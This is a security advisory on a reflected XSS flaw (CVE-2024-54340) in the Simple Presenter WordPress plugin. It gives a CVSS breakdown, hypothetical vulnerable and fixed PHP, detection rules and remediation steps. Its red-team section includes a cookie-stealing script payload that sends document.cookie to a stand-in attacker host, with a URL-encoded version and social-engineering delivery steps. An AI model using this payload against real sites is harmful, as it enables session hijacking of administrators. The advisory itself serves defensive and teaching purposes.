CVE-2024-54340

Executive Summary

CVE-2024-54340 is a reflected Cross-Site Scripting (XSS) vulnerability in the Simple Presenter WordPress plugin, developed by Sylviavanos. The flaw exists in versions up to and including 1.5.1, where user-supplied input is not properly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated WordPress administrator, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public proof-of-concept or patch is currently available, making this a high-priority unpatched risk for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects the Simple Presenter WordPress plugin, which is distributed via the official WordPress plugin repository. Since no patch exists, users are advised to remove or disable the plugin immediately. The plugin's supply chain is unverified, and no OSV or GitHub advisory data is available. The EPSS score of 0.0% indicates low exploitation likelihood at this time, but the lack of a patch increases risk over time.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is executed remotely via HTTP.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., admin session).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., cookies).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High (7.1) – Unpatched, with potential for admin session compromise.

Deep Dive & Mechanics

The vulnerability resides in the Simple Presenter plugin's handling of URL parameters. The plugin likely reflects user input (e.g., via $_GET or $_POST parameters) directly into the HTML output without proper sanitization or encoding. For example, a parameter like ?page=simple-presenter&action=... may be echoed back into the page without escaping, allowing an attacker to inject arbitrary HTML/JavaScript.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/wp-admin/admin.php?page=simple-presenter&<script>alert('XSS')</script>
2. Victim (e.g., WordPress admin) clicks the link.
3. The plugin reflects the <script> tag into the page.
4. The browser executes the injected JavaScript, potentially stealing session cookies or performing actions on behalf of the admin.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability, not related to Apache or Nginx. The attack targets the WordPress admin interface, leveraging the plugin's lack of input validation.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The plugin likely uses echo $_GET['param'] or similar without esc_html() or wp_kses().

Vulnerable Code (Hypothetical):

<?php
$action = $_GET['action'];
echo "<div class='action'>$action</div>";
?>

Patched Code (Hypothetical):

<?php
$action = isset($_GET['action']) ? esc_html($_GET['action']) : '';
echo "<div class='action'>$action</div>";
?>

The fix would involve using WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses() to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target WordPress site with Simple Presenter <= 1.5.1 installed and activated.
• Victim user with admin privileges.

Exploit Steps:

1. Identify a reflected parameter (e.g., action, page, or custom query var).
2. Craft a payload: <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
3. Encode the payload for URL: %3Cscript%3Edocument.location%3D'https%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D'%2Bdocument.cookie%3C%2Fscript%3E
4. Send the malicious link to the victim via email or social engineering.
5. Victim clicks link → XSS triggers → Cookie exfiltration.

Example URL:

https://victim-site.com/wp-admin/admin.php?page=simple-presenter&action=%3Cscript%3Ealert(1)%3C/script%3E

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for unusual query strings containing <script>, onerror, onload, or encoded variants.
• Use WAF rules to block reflected XSS patterns.
• Deploy Content Security Policy (CSP) headers to mitigate impact.

Hunting:

• Search for simple-presenter in URL paths with suspicious parameters.
• Look for document.cookie or fetch in HTTP requests from admin pages.

Indicators of Compromise (IOCs)

• URL Patterns: admin.php?page=simple-presenter&*<script>* or encoded equivalents.
• HTTP Requests: GET requests to /wp-admin/admin.php with page=simple-presenter and unusual query strings.
• Network Traffic: Outbound connections to attacker-controlled domains from admin browsers.
• Log Entries: wp-admin/admin.php?page=simple-presenter&action=... with non-standard characters.

Detection Engineering

YARA Rule

rule CVE_2024_54340_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Simple Presenter plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-54340"
    strings:
        $url_pattern = /admin\.php\?page=simple-presenter&[^&]*<script/i
        $encoded_script = /%3Cscript%3E/i
        $payload = /onerror|onload|onmouseover|alert\(|prompt\(|confirm\(/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Simple Presenter Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-54340
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=simple-presenter'
        cs-uri-query|re: '(?i)<script|%3Cscript|onerror|onload'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-54340 Reflected XSS Simple Presenter";
    flow:to_server,established;
    content:"page=simple-presenter"; http_uri;
    pcre:"/(?i)<script|%3Cscript|onerror|onload/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-54340;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable/Remove the Simple Presenter plugin until a patch is released.
2. Implement WAF rules to block reflected XSS patterns (e.g., <script, onerror).
3. Deploy CSP headers to restrict script execution: Content-Security-Policy: default-src 'self'; script-src 'self';
4. Educate users not to click suspicious links, especially those containing page=simple-presenter.

Long-Term Fix:

• Monitor the plugin's repository for an official patch.
• If the plugin is abandoned, consider migrating to an alternative solution.
• Apply WordPress core updates and use security plugins (e.g., Wordfence) for additional protection.

Valters IT – This report is provided for educational and defensive purposes. Unauthorized exploitation is illegal.